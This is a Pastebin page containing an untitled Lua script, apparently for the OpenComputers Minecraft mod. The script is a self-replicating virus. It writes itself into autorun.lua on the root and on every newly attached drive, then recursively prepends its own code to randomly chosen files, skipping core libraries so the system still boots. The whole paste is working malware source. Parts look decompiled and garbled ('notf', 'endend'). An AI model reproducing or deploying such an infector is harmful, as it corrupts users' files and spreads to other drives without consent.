Advertisement
Patriik

Untitled

Feb 20th, 2022
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.69 KB | None | 0 0
  1. -- warning: mapping not found --
  2.  
  3. local a = require("component")
  4. local b = require("filesystem")
  5. local c = require("event")
  6. c.listen("component_added",function(d)
  7. if a.list()[d] == "filesystem" then
  8. local e = string.sub(d,1,3)
  9. if e == "f1d" then
  10. return
  11. end
  12. local f = ""
  13. if b.exists("/mnt/" .. e .. "/autorun.lua") then
  14. local file = b.open("/mnt/" .. e .. "/autorun.lua","r")
  15. f = file:read(math.huge)
  16. if notf then
  17. f = ""
  18. end
  19. file:close()
  20. end
  21. file = b.open("/mnt/" .. e .. "/autorun.lua","w")
  22. file:write(script .. f)
  23. file:close()
  24. infi("/mnt/" .. e .. "/")
  25. endend)
  26. function script_path()
  27. local g = debug.getinfo(2,"S").source:sub(2)
  28. return g
  29. end
  30. local script = b.open(script_path(),"r")
  31. local h = script:read(math.huge)
  32. script:close()
  33. script = h
  34. local f = ""
  35. if b.exists("/autorun.lua") then
  36. local file = b.open("/autorun.lua","r")
  37. f = file:read(math.huge)
  38. if notf then
  39. f = ""
  40. end
  41. file:close()
  42. end
  43. file = b.open("/autorun.lua","w")
  44. file:write(script .. f)
  45. file:close()
  46. function infi(i)
  47. if noti then
  48. i = "/"
  49. end
  50. local j = b.list(i)
  51. for k, l in j do
  52. if b.isDirectory(i .. k) and k ~= "dev/" and k ~= "boot/" and i .. k ~= "/lib/core/" then
  53. infi(i .. k .. "/") else
  54. if math.random(1,20) == 1 and i .. k ~= "/lib/filesystem.lua" and i .. k ~= "/lib/package.lua" and i .. k ~= "/etc/motd" and i .. k ~= "/lib/io.lua" and i .. k ~= "/lib/process.lua" and i .. k ~= "/lib/keyboard.lua" and i .. k ~= "/lib/devfs.lua" and i .. k ~= "/lib/event.lua" and k ~= "init.lua" then
  55. local file = b.open(i .. k,"r")
  56. local f = file:read(math.huge)
  57. file:close()
  58. file = b.open(i .. k,"w")
  59. file:write(script .. f)
  60. file:close()
  61. end
  62. end
  63. end
  64. end
  65. infi()
  66. local lib = {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement